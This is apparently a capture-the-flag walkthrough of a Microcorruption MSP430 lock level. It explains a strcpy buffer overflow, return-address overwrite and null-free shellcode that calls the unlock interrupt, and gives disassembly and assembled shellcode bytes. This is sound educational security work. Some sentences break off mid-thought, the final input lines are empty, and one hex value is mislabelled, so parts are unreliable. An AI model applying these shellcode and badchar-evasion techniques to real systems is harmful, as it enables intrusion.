In this new level, just like the previous one, we will exploit a buffer overflow vulnerability and create a working shellcode in order to solve the level, only this time our shellcode will be limited. Keep reading to learn more :)
When you enter the level, as always, there is a pop up manual. The last paragraph states the following:
This is Software Revision 03. We have received unconfirmed reports of issues with the previous series of locks. We have reimplemented much of the code according to our internal Secure Development Process
Turns out they “reimplemented much of the code” following their
Inspecting main
function you’ll notice it simply calls <login>
function, allocated at 0x44f4
.
Allrighty then, let’s see what login
actually does.
44f4 <login>
44f4: 3150 f0ff add #0xfff0, sp
44f8: 3f40 7044 mov #0x4470 "Enter the password to continue.", r15
44fc: b012 b045 call #0x45b0 <puts>
4500: 3f40 9044 mov #0x4490 "Remember: passwords are between 8 and 16 characters.", r15
4504: b012 b045 call #0x45b0 <puts>
4508: 3e40 3000 mov #0x30, r14
450c: 3f40 0024 mov #0x2400, r15
4510: b012 a045 call #0x45a0 <getsn>
4514: 3e40 0024 mov #0x2400, r14
4518: 0f41 mov sp, r15
451a: b012 dc45 call #0x45dc <strcpy>
451e: 3d40 6400 mov #0x64, r13
4522: 0e43 clr r14
4524: 3f40 0024 mov #0x2400, r15
4528: b012 f045 call #0x45f0 <memset>
452c: 0f41 mov sp, r15
452e: b012 4644 call #0x4446 <conditional_unlock_door>
4532: 0f93 tst r15
4534: 0324 jz #0x453c <login+0x48>
4536: 3f40 c544 mov #0x44c5 "Access granted.", r15
453a: 023c jmp #0x4540 <login+0x4c>
453c: 3f40 d544 mov #0x44d5 "That password is not correct.", r15
4540: b012 b045 call #0x45b0 <puts>
4544: 3150 1000 add #0x10, sp
4548: 3041 ret
At a first glance there are some functions that catch my eye:
- At address
0x4510
there isgetsn
which receives0x30
(viar14
) and0x2400
(viar15
) as parameters. - At address
0x451a
there isstrcyp
which receives0x2400
(viar14
) andsp
’s(Stack Pointer) value at that particular moment (viar15
) as parameters. - At address
0x4528
there ismemset
which receivesNULL byte
(viaclr r14
) and0x2400
(viar15
) as parameters. - Finally, at address
0x452e
there isconditional_unlock_door
.
Based on this information, what we can deduce so far is:
- Our buffer is 48 (0x30) bytes long.
- Our buffer first gets stored at address
0x2400
. - It then gets copied to whatever
sp
(Stack Pointer) value is at that particular point of execution. - The original copy at
0x2400
gets zeroed bymemset
.
Let’s confirm that behavior and correct our assumptions. I suggest placing breakpoints right after each important function.
Before executing the program, I also suggest you to track r15
is order to see it’s value into Live Memory Dump window. In order to track a register you must simply execute track rN
command, where N is the register number. In this particular case it’d be track r15
.
When we’re asked to input data, as always, we’ll provide some easily recognizable bytes. In my case, I provided 50 bytes. You can copy your input from here:
ASCII:
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
HEX:
4141414141414141414142424242424242424242434343434343434343434444444444444444444445454545454545454545
Our first assumptions were right since there are only 48 bytes (you can count how many Es are there and you’ll count up to 8) at address 0x2400
.
Right when strcpy
finishes, we can inspect r15
’s value.
And we can, in fact, inspect the memory via Live Memory Dump window and see that our buffer got indeed copied at address 0x43ee
.
Then address 0x2400
gets zeroed and if you continue the execution you’ll get “That password is not correct” and the program will either finish expectedly or crash.
Interesting, what ought we do now? Well, let’s keep breakpointing the code and acquire more knowledge about what it does. Interestingly enough, last two instructions of login
function are:
4544: 3150 1000 add #0x10, sp
4548: 3041 ret
Let’s breakpoint on both of them and see what happens at execution time.
Once again, I recommend you to provide a full-length input. That is, 48 or more bytes.
You will notice sp
’s value right before adding 0x10
is 0x43ee
. Isn’t 0x43ee
familiar? Well, it indeed is. 0x43ee
is where our input gets stored after strcpy
does it job. This means sp
will point to 0x43fe
when ret
instruction is about to get executed, right when login
is about to finish. And that means we can control return address of login
function because the buffer is 48 (0x30) bytes long starting at address 0x43ee
. That’s nice!
As we’ve seen in previous levels, this allows us to jump wherever we want when login
function ends. But,
Solution
The first thing to have in mind is the function we’re exploiting, the vulnerable function. In this case, it is strcpy
. strcpy
defines our exploiting context and it has, of course, some limitations. Let’s read some official documentation about strcpy():
Copies the C string pointed by source into the array pointed by destination, including the terminating null character
(and stopping at that point)
Those very last words are very important to us because they basically tell us how to NOT write our shellcode. That is, 0x00
is a badchar in this context since strcpy
will stop copying from there on. A badchar, or badchar, is a character, or set of characters, that, given a vulnerable function, a context, renders the shellcode useless. You can read more about badchars all over the Internet. This one and this one are mere examples.
Now, keeping in mind badchars, let’s design our shellcode.
One solution that I implemented is very simple. We design such a payload whose length is lesser than 16 bytes (0x10) and then we jump to it. That is, we overwrite login
return address with 0x43ee
address. Now,
As we’ve seen in previous levels, LockitAll User Manual tells us how to achieve insta-unlock. That is, pushing 0x7F into the stack and calling INT. INT
function is at address 0x454c
.
454c <INT>
454c: 1e41 0200 mov 0x2(sp), r14
4550: 0212 push sr
4552: 0f4e mov r14, r15
4554: 8f10 swpb r15
4556: 024f mov r15, sr
4558: 32d0 0080 bis #0x8000, sr
455c: b012 1000 call #0x10
4560: 3241 pop sr
4562: 3041 ret
Well, what if we simply try the last level’s solution. That is, pushing 0x7f
and calling INT
.
push #0x7f
call #454c
Once again, we can assemble our code using Microcorruption Assembler. As you can see in the image below, I underlined the NULL byte that’ll make our shellcode useless.
The NULL byte is automatically inserted because MSP-430 works with 2 bytes addressing. In 2 bytes length, 0x7f is the same as 0x007f. It’s exactly the same number.
Note 3012
are the constant opcodes for push
instruction. Now notice how: (Remember MSP-430 uses Little Endian byte ordering scheme)
- Both integers
#0x41 and#0x0041 became4100 . - Integer
#0x4100 became0041 . - Integer
#0x414243 became4342 . (Only the 2 LSB are kept)
Now, in order to get rid of NULL bytes there are thousands of solutions and alternatives. What I suggest is very simple. That is, using basic arithmetic operations. Remember we are assembling instructions, we can do whatever we want as long as syntax is correct. Now, what if we take advantage of
Let’s say we place some value that has no NULL bytes in some register and then perform some arithmetic operation that has no NULL bytes on it so that the result is what we want. Since that result will be stored in a register,
mov #0x0180, r15
sub #0x0101, r15
push r15
call #0x454c
Notice how 0x0180
- 0x0101
= 0x007f
and that’s exactly what we want. (Remember 0x007f is the same as 0x7f) Of course there are many different ways of achieving the wanted value.
The assembled code is:
3f4080013f8001010f12b0124c45
Now, remember there are 16 (0x10) bytes from the beginning of the buffer until return address and our assembled shellcode is only 14 bytes long. We will have to add login
finishes, ip
So, the solving input (hex encoded) will be:
You could as well use 2 bytes integer overflow properties. That is, adding two big numbers (2 bytes long) so that the result exceeds 2 bytes size but the last 16 bits (2 bytes) represent 0x7f. Let’s see the following example which will definitely help us understand this concept.
mov #0x56AA, r12
add #0xA9D5, r12
push r12
call #0x454c
This code actually works. Let’s assemble it, try it and explain why it does work.
The working input (hex encoded) is:
It works because the result is bigger than the
0 1 0 1 0 1 1 0 1 0 1 0 1 0 1 0 (0x56AA)
+
1 0 1 0 1 0 0 1 1 1 0 1 0 1 0 1 (0xA9D4)
_______________________________________________________
1 | 0 0 0 0 0 0 0 0 0 1 1 1 1 1 1 1 (0x1007f)
The result is 0x1007f
but since the length of integers is 2 bytes, only the last 16 bits count. 0x7f
. Notice how despite the result, no operand contains null bytes. Thats how we avoid badchars using integer overflow
Recap
We’ve seen how strcpy
is vulnerable to Buffer Overflow attacks. Exploiting such vulnerability we can change the program’s execution flow in order to execute our shellcode. At the same time, strcpy
limits our shellcode since there are some characters that make it useless, the so called badchars. There are many ways of avoiding badchars, we’ve seen one of the most simple. That is, basic arithmetic operations. Once badchars are avoided login
function so the ip
jumps right to our shellcode.